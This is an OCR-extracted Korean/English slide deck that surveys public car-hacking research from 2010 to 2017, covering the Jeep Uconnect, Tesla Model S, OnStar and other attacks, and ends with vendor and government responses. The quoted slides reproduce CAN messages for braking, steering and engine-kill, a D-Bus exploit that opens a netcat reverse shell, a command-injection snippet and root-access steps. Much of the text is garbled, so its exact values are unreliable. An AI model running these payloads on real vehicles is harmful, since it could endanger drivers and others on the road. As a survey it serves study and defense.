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Car Hacking Case Study
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2010.05 - IEEE Computer Society

Experimental Security Analysis of a Modern Automobile
University of Washington / California San Diego
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oakland2010.pdf



2011 - usenixsec

Comprehensive Experimental Analyses of Automotive Attack Surfaces
University of Washington / California San Diego
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2013.08 - DEF CON 21
Adventures in Automotive Networks and Control Units
Charlie Miller and Chris Valasek

— 7|EQ| YN

Disassembling - car

CanBus 8li3oll CHsHA 2t CtE 1 U
— Needing physical access to hack
— not a remote attack

D24 CHAF X2

-OL . EH o xl- ) . DEF CON 21 - Charlie Miller and Chris Valasek - Adventures in
— 2010 Toyota prius Contol Uit
— 2010 Ford escape

—  https://www.youtube.com/watch?v=n70hIu9licYo

— https://www.ioactive.com/pdfs/IOActive_Adventures_i
n_Automotive_Networks_and_Control_Units.pdf

D4 | A}

—

— https://www.forbes.com/sites/andygreenberg/2013/07
/24/hackers-reveal-nasty-new-car-attacks-with-me-
behind-the-wheel-video/#16d5b619228c




Summary of this speaking

2010 Toyota Prius | 2010 Ford Escape

* Cruise control, backup camera, parking assist

* Radar cruise control, Lane Keep Assist, Pre-Collision System,
Intelligence Park Assist (i.e. parks itself in some situations)
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Summary of this speaking

Doors Lock/Unlock: Toyota Braking: Toyota

Lock and unlock all the doors Apply the brakes at any speed
CAN ID: 0283
CAN ID: 0750 Length: 07
Length: 08 Format: CN 00 S1 52 ST 00 CS
— CN => Counter (00-80)
FOTmat‘ 40 05 30 11 00 XX YY OO — S1S2 => Force apphed to brakes

— XX =>80is lock all | 40 is unlock all 2/ BRERIAE N N
— ST => Adjustment State
—YY => 80 is hatch/trunk | 00 is normal — CS => Checksum]

Example:

Acceleration: Toyota | Steering: Toyota lll

* Accelerate the car with the ICE when inside the power
management CAN bus
* CAN ID: 0037
* Length: 07
* Format: S1 52 ST P1 P2 00 CS
— 51 52 => Acceleration rate
— ST => State
— P1 P2 => Pedal position
— CS => Checksum
* Example:

Note: ICE must be engaged. CAN message must come from
Power Management network.

Toyota CAN Packet=0f Cliiet 24 Zup (E20[=, 2f2&e|0[H, 2H




Summary of this speaking

Speedometer: Ford f Kill Engine: Ford

Set the speedometer to arbitrary values Kill the engine in the Ford
CAN ID: 0201 CAN ID: O7EO
Length: 08 Length: 08

Format: AA BB 00 00 CC DD 00 00 Format: 05 31 01 40 44 XX 00 00
Speed => 0.0065 * (CC DD) — 67

RPM =>0.25 * (AA BB) — 24
Example (20.1mph | 2233 rpm):

— XX => Bit field for cylinders. FF is all cylinders.

Lights out: Ford { Disable brakes: Ford

Turn lights OFF

CAN ID: 0736

Length: 8

Format: 7E 80 00 00 00 00 00 00

# MS CAN

handle = mydll.open_device(3,0)

if do_diagnostic_session(mydll, handle, 0x736, “prog"):
print "Started diagnostic session”
time.sleep(l)

do_security_access(mydll, handle, 0x736)

while True:
send_data(mydll, handle, 0x736, [Ox7e, 0x80])
time.sleep(.1)

Ford CAN PacketS 0] CH



2014.08 - Black Hat USA
A Survey of Remote Automotive Attack Surfaces
Charlie Miller & Chris Valasek

Remote Attack Vectorso]l izt 241 2014 il A8
— Bluetooth Accord LX _
2014 Infiniti
— Radio Data System aso
2010 Infiniti G37 | -
— Telematics / Cellular 204 leep
— TPMS (Tire Pressure Monitoring System) 2014 Dodge
— RKE (Remote Keyless Entry) 204 Chryler
— Wi-Fi 2014 Dodge

Viper
— Internet(browser) / Apps 2015 Caitac
2006 Ford
Fusion
Xl D24 X|OFXM O XFx| 25} oson
OFZ! Remote 524 F|U™H2 AX| Zak(?) udlon_
;ED:I{ESBMW X3
2014 BMW i12

URL 2014 Range

Rover Evoque

— https://www.youtube.com/watch?v=MAGa [[simisbe
CJNWOSW ;23:};::2

— http://illmatics.com/remote%20attack%20s [Eakkie

Prius

urfaces. pdf 2010 Toyota

Prius

2006 Toyota
Prius




2015.08 - DEF CON 23
Remote Exploitation of an Unaltered Passenger Vehicle
Charlie Miller & Chris Valasek

XI%f Remote Exploitationo]| CH$t W

37 oA At

— 2014 Jeep Cherokee

Vulnerability point

— Harman Uconnect

TCP port 6667 (D-Bus)
— RPC(IPC) service

URL

— https://www.youtube.com/watch?v=0obL
b1Mcxnl

— http://illmatics.com/Remote%20Car%20Ha
cking.pdf

2| A

— https://www.wired.com/2015/07/hackers-
remotely-kill-jeep-highway/

DEF CON 23 - Charlie Miller & Chris Valasek - Remote Exploitation of an Unaltered Passenger
Vehicle




Summary of this speaking

Kardon

2014 Jeep Cherokee Uconnect 8.4AN RA4 (Harman

Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT
Nmap scan report for 192.168.5.1
Host is up (0.0036s latency).
PORT  STATE SERVICE

2011/tcp open raid-cc

2021/tcp open servexec
4400/tcp open unknown
6010/tcp open x11

6020/tcp open unknown
6667/tcp open irc

51500/tcp open unknown
65200/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

&2 [ &(Jeep Cherokee + Uconnect) 27l, LE AJd At



Summary of this speaking

D-Bus: Overview

* Interprocess communications

* Can require authentication
* Jeep did NOT

* We used Dfeet to look at services telnet192.168.5.1 6667
Trying 192.168.5.1...

* Dbus-Python for scripts / exploits
Connected to 192.168.5.1.

Escape character is '"]'.

AUTH ANONYMOUS

OK
4943a53752£52£82a9%9ea4e6e0000000

BEGIN

1

D-Bus: Services & Methods

© com.harman.service.NavTrallService +  opject paths

® com.harman.service.NavigationCluste  +
°
® com.harman.service PersistentKeyVal
® com.harman.service.PersonalConfig |
© com.harman.service.PimService

D-Bus: Command Line Injection

NavTrailService

function methods.rmTrack (params, context)
return {
result = os.execute ("rm \"" ..
params.filename .. "\"")
}

end

trail path saved ..

* Many others contained command line injection vulnerabilities

D-Bus: No vulnerability needed
NavTrailService

"com.harman.service.NavTrailService":
{"name":"com.harman.service.NavTrailService",

"methods":
{"symlinkattributes":"symlinkattributes", "getProperties":"getProperties", "exe
cute": "execute", "unlock": "unlock", "navExport": "navExport", "ls":"1s", "attribut
es":"attributes"“ ..

#!python

import dbus

bus_obj=dbus.bus.BusConnection ("tcp:host=192.168.5.1, port=6667"
proxy_cbject=bus_obj.get_object ('com.harman.service.NavIrailService','/com/harman/service/
NavTrailService')

playerengine_iface=dbus. Interface (proxy_object,dbus_interface='com.harman.ServiceIpc')
print playerengine_iface.Invoke ('execute','{"cnd":"netecat -1 —p €666 | /bin/sh | netcat
192.168.5.109 €666")")




Summary of this speaking

Finding the Jeep’s IP

# ifconfig
lo0: flags=8049<UP,LOOPBACK, RUNNING,MULTICAST> mtu 33192
inet 127.0.0.1 netmask 0x£f£000000
pflog0: flags=100<PROMISC> mtu 33192
uap0: flags=8843<UP,BROADCAST,RUNNING, SIMPLEX,MULTICAST> mtu 1500
address: 30:14:4a:ee:a6:f8
media: <unknown type> autoselect
inet 192.168.5.1 netmask Oxffffff00 broadcast 192.168.5.255
ppp0: flags=8051<UP, POINTOPOINT, RUNNING,MULTICAST> mtu 1472
inet 21.28.103.144 -> 68.28.89.85 netmask 0xf£000000

Femto-Cell Comms

* Airave 2.0
* We bought 2 ‘stolen’ ones
before getting a working
device (Thanks Ebay!)
* Public Jailbreak
(turns on port 23)
* Successful in communicating
w/ the Jeep!
* Range ~ 30m

Inside Uconnect

+ Computer » Local Disk(C) b I0Drive » Jesp » SANRAS » swdl b usr » share b VES0

Includein bbrary = Sharcwith v Bum  Newfolder

# iocupdate -c 4 -p usr/share/V850/cmcioc.bin

* V850 firmware is NOT signed
* No code signing mechanism present
* Updating only works if v850 in “bootrom” mode

0| &), main CPUY|A] CANBusZ &5t




Summary of this speaking

V850 Internals: Sending Arbitrary CAN
Msg

ROM:B8B807EDDS loc_7EDDS:
ROM: 8807EDDS . 3[r28], r15
ROM:0007EDDY . u[r2g], r8
ROM:0B07EDDS 0212, rin
ROM: 8807EDDA . r8, -6x2CCa[gp]
ROM: 8807EDDE . r8, -0x2CB8[gp]
ROM:BB07EDE2 ROM_CAN_DATA_PTRs, ri4
ROM: B807EDES . 6x9C[r14], ré - get RAM_CAN_DATA_PTR
ROM: BBO7EDEC 8, r28, r7
ROM: 8007EDF 0 r15, r8
ROM: BBO7EDF2 ¥15, r8
ROM: BOO7EDF 4 memcpy, 1p
ROM: 8607EDFS 8, r28, r7
ROM: B007EDFC ¥15, r8
ROM:BB07EDFE ri5, r8
ROM: 6807EE 00 . 8x16C[r14], ré -- get RAH_CAN_DATA_PTR
ROM: 8807EE 84 nencpy, 1p
ROM:B007EE 08 . 2[r28], ré
ROM: B807EE BC 5 ¥15, -8x2CC8[gp]
ROM: 8B07EE10 . ¥15, -0x2CC5[gp]
:8007EE1S can_transnit_msg_1_or_3, 1p
:BBB7EE18 0:18, r@, ri8
10007EETC loc_BAEAS

-~ CODE XREF: ROM:DBOLAEALT]

Step 4: Send arbitrary CAN
messages

/shutupdave.py

Scanning 21.18.23.0...

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2015-06-16 19:09:28 GMT
-- forced options: -sS5 -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [1 port/host]

Scan complete

Found 2 hosts

21.18.23.151 : 1CARJFCMEEXXXXXXX , 2014 JEEP GRAND+CHEROKEE+OVERLAND
21.18.23.97 : 1C6RR7PT8DXXXXXXX , 2013 RAM 1500+LONGHORN

2013 DODGE VIPER

2013 RAM 1500

2013 RAM 2500

2013 RAM 3500

2013 RAM CHASSIS 5500
2014 DODGE DURANGO
2014 DODGE VIPER

2014 JEEP CHEROKEE

2014 JEEP GRAND CHEROKEE
2014 RAM 1500

2014 RAM 2500

2014 RAM 3500

2014 RAM CHASSIS 5500
2015 CHRYSLER 200

2015 JEEP CHEROKEE

2015 JEEP GRAND CHEROKEE

AN AT

s 2uts E0E



Summary of this speaking

Disclosure Timeline

* Oct 24,2014 -> Vulnerabilities disclosed to FCA

* Mar 2, 2015 -> Disclosed ability to send CAN msgs remotely

* Apr 10, 2015 -> Full scope of hack disclosed

* May 12, 2015 -> FCA informed of cellular vector confirmation

* Jun 2, 2015 -> FCA informed of nation-wide cellular confirmation
* Jul 16,2015  -> FCA given pre-release copy of our paper/research
* Jul 16,2015  -> FCA releases Uconnect patch

¢ Jul 20,2015  -> Wired article/video

* Jul 24,2015  -> Sprint network blocks port 6667 traffic

¢ Jul 24,2015  -> FCA Recalls 1.4MM vehicles vulnerable to attack

Che New Jlork Times e oo |
L i ol
Trade Negotiators Reach Exxon Mobil and Chevron .. ACompany Copes With ¢4 Perduca
Environmental Accord Report Worst Quarterly Backlash Against the Raise G End Ant
Results of Current Decade #% That Roared A Chicken:

BUSINESS DAY

Fiat Chrysler Issues Recall Over Hacking

By AARON M. KESSLER  JULY 24, 2015

WASHINGTON — When the call came to officials at the National
Highway Traffic Safety Administration, they knew they had a problem
they had never faced but had long feared.

On the line was Fiat Chrysler Automobiles, with news that two

hnol hers had hacked wirelessly into a Jeep Cherokee,
through its dashboard connectivity system. They had managed to gain
control of not just features like the radio and air-conditioning, but the
actual functions of the car: the engine, the brakes and the steering.

) Fiat Chrysler Automobiles N.V. (FCAM) # Beat the market
SERVICES PRIORITIES ABOUT ED NEWS EXPLORE MA co 136.81 +3.14(+2.35%) \ A Get the app

+ indcator  +
Worcester

Wired story

ED
MARKEY

United States Senator for Ma:

Home / News /' Press Releases / Press Release

Sens. Markey, Blumenthal Introduce Legislation to Protect
Drivers from Auto Security, Privacy Risks with Standards &
“Cyber Dashboard” Rating System

Tuesday, July 21, 2015

Washington (July 21, 2015) - As both Congress and the federal government struggle to develop a strategy for the Internet of
Things and responding to the increasing use of connected devices, including automobiles, Senators Edward J. Markey (D-Mass.)




2015.08 - DEF CON 23

How to Hack a Tesla Model S
- Marc Rogers and Kevin Mahaffey

B C A1

— Tesla Model S

Physical access based attack

el
Vulnerability point -
— Ethernet access DEF COM.
— Shadow password crack L (&)
A @

HACKING THE TESLA MODEL S

g

URL
— https://www.youtube.com/watch?v=KX_0c9R4Fng



Summary of this speaking

- Tesla S M| 2tx| 72l FBHIAN ExH

— IC : Instrument Cluster
— CID : Center Information Display
— GATEWAY




Summary of this speaking

Ag 2ol X =4 A F Ethernet #[0]F & A



Summary of this speaking

map scan report for 192.168.90.100

PORT STATE SERVICE VERSION
y N v 22/tcp open ssh OpenSSH 5.5p1 Debian 4ubuntud
Parrot Sierra 53/tcp open domain dnsmasq 2.58
LIBZENCroLECA0S081 J RASM:RdI0 80/tcp  open http mini_httpd 1.19 19dec2003
| Y 4 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
S8 2049/tcp open nfs (nfs V2-3) 2-3 (rpc #100003)
> A 4030/tcp open unknown
ux. NVIDIA Tegra 4 fLinux, NVIDIA Tegra 3 FreeRTOS Controllers 4050/tcp open unknown
4060/tcp open unknown
J58 4070/tcp open unknown
i Touean 4080/tcp open lorica-in?
4092/tcp open unknown
ETH| ETH AN AN 4094/tcp open unknown

v 4096/tcp open bre?
Ethernet Switch 4102/tcp open

unknown
411a/ten  onen  unknown

Welcome to Model S ic-updater (Xxxxxxxxxx @ XxXXXxxxx) up 26017.436136000s!
> status

Executable: /bin/ic-updater, personality: ic-updater, hash XxXXXXXXXX
Listening for command connections on port 28493

Listening for HTTP connections on port 21576

uptime: 26018.764245000s

mem=384M@OM nvmem=128M@384M vmalloc=384M video=tegrafb
usbcore.old_scheme_first=1 smsc95xx.nv_bl_macid=usb@:xx:xx:XX:XX:XX:XX download URL...
mbrsector=@ envsector=c40 nvsku=699-xgxx-xxxx-xxx Skuver=D ProdInfo=xxx- Vulnerability #5
XXXX=XXXX=XXXX ProdVer=G nosmp gbp=aiw-xxxxxxxx qbbootpart=11
mtdbootpart=10 envpart=7

eNVVAL=EXX . XX\ XX 2 XX 0 X0 X0 X0 X0 X0 X0 X0 XKW XX XX XX FF XX XKL XX XKL XX XK XX XX
thispartid=10 rdinit=/sbin/init quiet crossplex ip=off rw
console=ttySe,11520@n8 mtdparts=tegra_nor:65536K@0K(whole_device),
262144@0(bct),1310720262144(pt) ,1966080@393216(stagel_recovery),
1048576@2359296(stage2_recovery),1966080@3407872(stagel_primary),
1048576@5373952(stage2_primary), 39321686422528(env),
5242880@6815744(recovery),27525120@12058624(kernel_a),
27525120@39583744(kernel _b) ehci3=eth

One day, the CID updater showed a firmware

firmware_download_url = http://firmware-bundles.vn.teslamotors.com:4567/




Summary of this speakin

_— i
646,422,592 bytes later... SquashFS

compressed file system

$ file fw.bin
fw.bin: Squashfs filesystem, little endian, version 4.0,
165372936703 bytes, 17840 inodes, blocksize: 38 bytes

Cracked accounts were sudoers.

Shadow cracked. Way too fast. D'ch

Vulnerability #6: Multiple weak passwords in the IC shadow file

nvidia@ic-5YISALIOMGMYVING sudo bash
root@ic-5YISAL0MGMYV ING

ic-updater MH|AE S8l €A =l fw URLZEH HYO 25 8 24, passwd A2



Summary of this speaking

"

CID sets “teslal” account password to security token.

0x0E GETTING TO THE CID then informs the IC of that security token

and the |C stores that token in plaintext on disk

ssh teslal@192.168.90.100

teslal@192.168.90.100"'s password:

Linux cid 2.6.36.3-pdk25.023-Tesla-core-2014.1 #see_/etc/ Also a sudoer.
commit SMP PREEMPT 1202798468 armv7l GNU/Linux

tesla@cid-SYISALOMGMYVINSG sudo bash

Welcome to Ubuntu! ; ity
* Documentation: https://help.ubuntu.com/ root@cid-5YISALOMGMYVINA
Last login: Sun Jul 12 21:06:12 2015 from 192.168.90.42

tesla@cid-5YJSAIOMGMYVINS




Summary of this speaking

Trigger events via CID and watch for unique traffic

e.g. Lock doors, enable parking brake

Usually one unique payload per event
UDP broadcast, CID source IP, dest port 20100

$ ./tescat -p 20100
UNIQ ©2.AC @FOOFS8F32011FCS Power off car Control headlights
UNIQ ©2.2C C70F928F12001FCS

it
B:ig 3‘; 5 Zgggg;&gg?ms Start car (w/o keys) Control internal lights
UNIQ 92.2C C10F978F@7601FCS
UNIQ 82.AC 190@F@8F2A011FCS Lock/Unlock Change suspension
UNIQ ©2.2C C1OF9B8F1D001FCS
UNIQ ©2.AC 1200FABF32011FCS
UNIQ ©2.2C BBOFS8EBF1CO01FCS
UNIQ 82.AC ©90@F68F2C811FCS
UNIQ 82.2C B20F988F16001FCS Open the frunk/trunk Honk horn
UNIQ ©2.AC ©90OF28F28011FCS
UNIQ ©2.2C B30F918FR9001FCS

Open/Close sunroof Change climate




Summary of this speaking

Set up an SSH tunnel between the CID and a server.

We can now remotely SSH into our car.

; ssh teslal@cid
teslal@cid$ sudo bash
root@cid# ./opencar.sh
root@cid#

i ssh teslal@cid e $ ssh teslal@cid

teslal@cid$ gudo bash teslal@cid$ sudo bash

root@cid# root@cid# ./carkill.sh
root@cid#

CIDO|| SSH E{ & =0 AX| = Xt&F &4 X0 A|H

OI__I

https://youtu.be/KX_0c9R4Fng?t=10m59s
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OTA update pushed at ludicrous speed

push updates to the entire fleet of cars

Fixes two of vulnerabilities we disclosed

5 Kim Zetter

& axim

The over-the-air patch from Tesla went to all cars yesterday. Drivers
just have to click yes to accept update - wrd.cm/10T5LXM

Increases hardening of the system as a whole 217 AM -7 A

Improves resilience to browser compromise

Restricts access to the gateway

Pl
#Win

{8 software Update

Researchers Hacked a Model S, But Tesla’s Already On It

Researchers found security holes in Tesla Model S cars that would
allow them, with physical access to the car, start it with a software

A&t Fop TiX| Z3f




2015.08 - DEFCON 23

Drive it like you Hacked it: New Attacks and Tools to Wireles
Samy Kamkar

37 A Aty

— GM Onstar
— BMW, Benz, Chrysler, ...

GM Onstargh?

— Connected car system
- YA AIE, AR 2 2|, Y, 2Z 0%, Eit YK

Vulnerability Point
— No warning on not validated SSL certificate
— No SSL certificate pinning

Hyundai bluelink vulnerability(2017.04) was
similar to this one

URL
— https://www.youtube.com/watch?v=UNgvShN4USU
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= 100% g% FriAug7 10:29 AM
Wi-Fi Looking for Netwaorks

Turn WI-Fi Oﬂ‘

Personal Hotspot

the titanic

v PARIS
ALPHA
attwifi
Leye Secure
NETGEAR32
NSA Honeypot #42
Resort-Cosmopolitan
Turbo Encabulator

Join Other Network...
Create Network...
Open Network Preferences...

"typ": "Jws",
"alg": "HS256"

} {
"device_id" U/A51003~-6182-450F-BB14~C642E92FE2EB",

“scope”: “"priv

“grant_type"i

"username” :

"timestamp”: UI5-0/~24T23:18:17.7792",
"client_id": "RL_i0S-i78_203",

"nonce”: “"37C89CAB-39EE-4365-BB07-E3C55DE25B23"

}
00000000 dc 2d 2b 73 c4 54 b8 7c 10 04 3c a5 9%e cc 28 48
00000010 £0 c4 £5 07 94 7e £0 d9 10 98 ec b6 35

D 0% 40

10 02 7
f ff 17 77 o7

RemoteLink Login
(base64 decoded)
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SSL MITMA

Raspberry Pi Q 5
Lock Unlock

FONA GSM board

= uncess, 18 P
mallory (SSL MITMA)

o " Use remote start when it is
dns spoofing (api.gm.com) safe and legal.

iptables
Continue
Alfa AWUS036h  Remote Start Cancel Start
Edimax Wifi dongle

pre-paid SIM card

Lessons

+ Validate certificates from CA
Press Release issued on 19 April 2010
Hongkong Post Certification Authority's root certificate included in Mozilla Firefox
web browser
Better yet, use certificate pinning and ignore

CAs altogether

Hash password with random salt on
authentication (challcngc-rosponsc)

Always assume you're on a hostile network /




2015.08 - Black Hat USA
Broadcasting Your Attack: Security Testing DAB Radio in Cars
Andy Davis

Digital Audio Broadcasting(DAB)
Radio £+¢17|5 tYL 2 ¢ 54 TE
— DAB = 22| LI2t2| DMB(digital
multimedia broadcasting)2t S-At

The DABDble fuzzer

QC|

=8 L, A 5= 2t
S % H

leck L

o|->

< DAB XA
E8 2 ots

HE|O|Ciof EY ST X
=
=) o T

D2 ER0| &g WX
KM F2FE 2 521sHR 942 (NDA?)

URL

https://www.youtube.com/watch?v=ryNtzInxmO4




2016.07 - Black Hat USA
ADVANCED CAN INJECTION TECHNIQUES FOR VEHICLE NETWORKS
Charlie Miller & Chris Valasek

OF

A2t NS

[

CanBusE 0|83t X H|of He|all

ol S°f %@EH Hlof CéN 1 EARS
= = utiot FEoIA| S, 2 o)
I 312} injection®l TH3l0o| £E5}2| TS

SUL dHZ
(.

o[2{5t 20l CAN 13! Injection2 255
=]

o{FAI?
— block the original CAN message

making specific ECU to diagnostic mode or bootrom mode

URL

— https://www.youtube.com/watch?v=4wgEmNIu2
Oc

— http://illmatics.com/can%20message%20injection
pdf



2016.09
Car Hacking Research: Remote Attack Tesla Motors
by Keen Security Lab

32 A AR
— Tesla Model S P85 and 75D

Vulnerability point
— Web browser (old webkit bug)
+ Fake Wi-Fi hotspot
+ SSID/PW/(abcd123456) 0%
+ MITM
+ CVE-2011-3928

-2 3t
— Door lock/unlock
— Swing Wiper, Folding mirror samugeifShoot!
— Open Trunk, Sunroof -
— Force Brake

— http://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-
Research-Remote-Attack-to-Tesla-Cars/

— http://purplefrog.tistory.com/155



2017.03
The CIA may be hacking cars

WikiLeakse= CIA?I YAIS SXo & What we know about car hacking, the CIA
XIS S S Al2shigictetn =& and those WikilLeaks claims

CIAZS| 2014'd 2|2|& T YHlIc|= Clu} W T T s rme
O|A ZtE|:n2|e] “Ffx{A 0]/ d” =0 =

“Vehicle Systems”nt XgF-20S?Q!
‘GNX"2F Zef5|of QNS

WikiLeaksoll 2[8f S7HE! CIA Vault 7
SAfoll 9| 22 Lo T3tE|of UL




ETC presentations
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Security in Automotive Bus Systems (2004)
— http://www.weika.eu/papers/WolfEtAl_SecureBus.pdf

State of the Art: Embedding Security in Vehicles (2007)
— http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.384.9735&rep=rep1&type=pdf

Securing vehicles against cyber attacks (2008)
— https://www.researchgate.net/publication/247926831_Securing_vehicles_against_cyber_attacks

A Spy Under the Hood: Controlling Risk and Automotive EDR (2008)

— http://digitalcommons.calpoly.edu/cgi/viewcontent.cgi?article=1283&context=eeng_fac



CAN BUS Hacking

2013 RECON - Hot-Wiring of the Future: Exploring Car CAN Buses
—  https://www.youtube.com/watch?v=RZ9HD9WaCrs

— CANBus sHH 2 QI3 = L X X 2Py A

DEFCON 21 - How to Hack Your Mini Cooper: Reverse Engineering Controller Area Network
(CAN) Messages
—  https://www.youtube.com/watch?v=WuM3IfQUDoOY

—  CAN messageZx, CAN trafficZ HAsHA idEE 2F5tD CAN MessageE 2|t/ sto] 24[2|T
=X}
a5

Black Hat Asia 2015 - Hopping on the CAN Bus
—  https://www.youtube.com/watch?v=UlyecKUmnFo

— CAN Bus 54 ®'¥(DosS, Injection), CAN message T4 ¥ (Hardware - OBD-II, UDS / Software -
CANard)

DEFCON 23 - Vehicle Hacking Village - SocketCAN
— https://www.youtube.com/watch?v=Ym8xFGOOIlY

DEFCON 24 Car Hacking Village - Deep Learning on CAN BUS
— https://www.youtube.com/watch?v=1QSo5sOfXtI

DEFCON 24 Car Hacking Village - CAN i haz car secret plz
— https://www.youtube.com/watch?v=gx35otoHQgw



Automobile firmware hacking

Defcon 22 - Playing with Car Firmware or How to Brick
your Car

— https://www.youtube.com/watch?v=a84ZIQSNSfg

~ RHSAH OIS Y WY, YEIOIS(47) Sh W, HIllol £ it wE

DEFCON 15: Hack Your Car for Boost and Power!

— https://www.youtube.com/watch?v=r0I2tudyFYI
— ECU re-flashingZ ‘58ll speed limitation si{H|

2013 DEFCON 21 - Dude, WTF in my car?

— https://www.youtube.com/watch?v=Y1YmJOZYMic

— K-Line protocol2 AH&st= ECU Hllo] £& 9 24 (EDC15/ME7xx,
EDC16/MED9xx), Ol ©l-&dll HeIoIE 751t tra NPU= Y



RF Based Hacking

« 2016 DEFCON 24 Car hacking village - Security Flaws in Automotive Immobilizer
— https://www.youtube.com/watch?v=p3SJp-7LSNs
— 917 712| RF MEE 2M3tD replaysto] At Eof2t o=

« HITB 2017 - Chasing Cars: Keyless Entry System Attacks
— https://www.youtube.com/watch?v=rhm1TiF]c7s
— BM AOLE?|of Cljgt 24 o] HU|E TS0 car door L E



Self-Driving car hacking

DEFCON 21 - Hacking Driverless Vehicles

— https://www.youtube.com/watch?v=TMVIIM4I7TE
— RISTSHA|AGIO| DX MY AMRE|S MM Z29t 2 Mol TS 22 diE] MY

Black Hat EUROPE 2015 - Self-Driving and Connected Cars: Fooling
Sensors and Tracking Drivers

— https://www.youtube.com/watch?v=C29UGFsIWVI
— 2I3 MIM(camera, LIDAR, RADAR, GPS)E 0|-8%t X2 34X} 8%

DEFCON 24 - Can You Trust Autonomous Vehicles: Contactless Attacks
against Sensors of Self-driving Vehicle
— https://www.youtube.com/watch?v=orWqKWvIW_0

— MIME o] &3l self-driving vehicle 326t= %' (ultrasonic/radar jamming,
spoofing)



Automobile Security(&o] 2+7d)

HITB 2016 - CANsee: An Automobile Intrusion Detection System
— https://www.youtube.com/watch?v=XBg8xhK7L0w
— 2 d|-g o2 CANBUSOK| Chgt ete|XQl E&||M-& monitoring, capturest AntE
ZotMHo|| M4sH= CAN BUSL IDS 242 npgof| Cist L&

CanSecWest 2017 - A platform base on visualization for protecting CAN bus
security

— https://cansecwest.com/slides/2017/CSW2017_MinruiYan-
JianhaolLiu_A_visualization_tool_for_evaluating_CAN-bus_cybersecurity.pdf

CanSecWest 2017 - Automotive Intrusion Detection

— https://cansecwest.com/slides/2017/CSW2017_JunLi_Car_anomaly_detectio
n.pdf

DEFCON 23 - Vehicle Hacking Village - Safer Sooner Automotive Cyber Safety
— https://www.youtube.com/watch?v=I0-MrkyHPpI

BSides Knoxville 2016 - Intro to Automotive Security
— https://www.youtube.com/watch?v=yAzqFhq06_E



2O Qo] HHS

§O15 syscan360 - Car Hacking: Witness Theory to Scary and Recover From
care

— https://www.s ¥scan360 .org/slides/2015_EN_AutomotiveCyberSecurity_JianhaoLi
u_JasonYan.pd

— BYD telematic X, web FI2FH, mobile app 2 &4

DEFCON 20 - DIY Electric Car

— https://www.youtube.com/watch?v=e4pqdk-U2RE
— X2IAt DIY 817| (€, HiEf2], 2E HEEHSS 2T Alof| HX|sH= LE)

—_—_=

2013 HITB - The Infosec Risks of Charging Electric Cars

—  https://www.youtube.com/watch?v=Lbg3mAGOmFk
— Tk ZT 20 CHoF FRIHRI FFFH (U X, F2IEQ 54, ¥Z, RFID, Z2EF §) 54
AILFEIROH et 29

SyScan 2014 - Car Hacking: For Poories
https://www.youtube.com/watch?v=00KUfPX6]XE
—  XEA} Sl 2 6t2| Hojl Yotof E|= ZH(CAN, ECU), ECUE RH-5AtoflM 22|35 & 2551

_4d A
OI-I_ OH:éI-I Euo:l

C



Vendor’s Action

Fiat Chrysler Automobiles

B 't o al Fiat Chrysler Automobiles (FCA), the seventh-largest automaker in
ug bounty &% .

the world, de gineers, manufactures and sells passenger
_ UBER cars, light commercial vehicles, components and production
systems worldwide.
- GM $150 - $1,500 per vulnerability Managed by bugcrowd

— TESLA
= CHLYSLER Pinterest

Discover ideas for any project or interest, hand-picked by people v Submit a report

like you.

$100 - $4,000 per vulnerability Managed by bugcrowd

AUTO-ISAC &<l
— AFEAL AO|HEQFS 2ot H 5 ]S AMIE]
- 2 Sl B, 2= 2o FotE flol ==Y AISAt
H|o| A 157HME FZO=Z 2015 7&ojl M
« X}SKI Alo|t{ HOF YA a3k 91 "ol IE 0|8 Dt

Z Ot AFSAE MIZA

O
55 YoHNIE 25

UHJME T AEFGIAHZCIE &
[ E (o) = T 5

—
Heh =2]o| AfolH 5Hof| t-3-5t



Government’s Action

0= 2|2|of|A = AFAE EQtS A=t
N3l HITH 248t J1E0| MEE AL

HOt Hots FH| &

— http://www.econovill.com/news/articleVie
w.html?idxno=300935

N HTSA(U I % EEJ"‘ o OLI-K '?al §I )OIIIA-l Cybersecurity Best Practices for
AI‘OI H‘l Eol' 7|'O| C EI‘OJ |'§°'| xf%kl- Modern Vehicles

°**1I§°1I7II M5
http://www.now.go.kr/ur/poliTrnd/UrPoliTrndSelect.do?
poliTrndId=TRNDO000000000030257 &pagelndex=1&scree
nType=V

— https://www.nhtsa.gov/staticfiles/nvs/pdf/812333_Cybe
rsecurityForModernVehicles.pdf

— https://www slideshare.net/YeJlunJeon/161031-ver01-
68332413




Attack Vect f vehicl
=  Bluetooth Based Vulnerabilities Analysis
“‘?”L@‘“; v’ Bluetooth stack vulnerabilities
v Bluetooth Packet analysis

4. = ¥ OBD-Il Port, Ethernet v' Memory corruption on parsing

=  Physically Access

-

USB Based Vulnerabilities Analysis

|
A | v/ USB stack vulnerabilities
|
' / . . . .
@ g——— Multimedia file fuzzing
« A : v’ File System handling vulnerabilities

) |
- -
- s s - e -

Telematics based Vulnerabilities Analysis

Remote attack via SMS
Remote attack via Internet(TCP/IP)

Memory corruption on parsing

‘\I‘——
1l
—r s

Web Browser Hacking (MITM)
Smartphone APP Hacking
Cloud Server Hacking

Digital Radio

UART/JTAG/ISP Port



Attack Vectors of vehicle

2010 - S A EICH .
2012 - 2|2
2015 — TESLA S

Bluetooth Based Vulnerabilities Analysis

v'  Bluetooth stack vulnerabilities

*  Physically v' Bluetooth Packet analysis

¢ v OBD-ll Port, Ethernet v' Memory corruption on parsing

I USB Based Vulnerabilities Analysis
I v’ USB stack vulnerabilities
|

A e ——m—————— - . - v' Multimedia file fuzzing
‘ T r v’ File System handling vulnerabilities

‘I
& I '
-l J_ 3 i Telematics based Vulnerabilities Analysis

S 7 Y & Remote attack via SMS

= 2015 _ *I-EII:IIE.I
Me = =

wel 2015 - GM ONSTAR

- 2016 - DAB
o 2016 — TESLA S
Digital Radio

UART/JTAG/ISP Port
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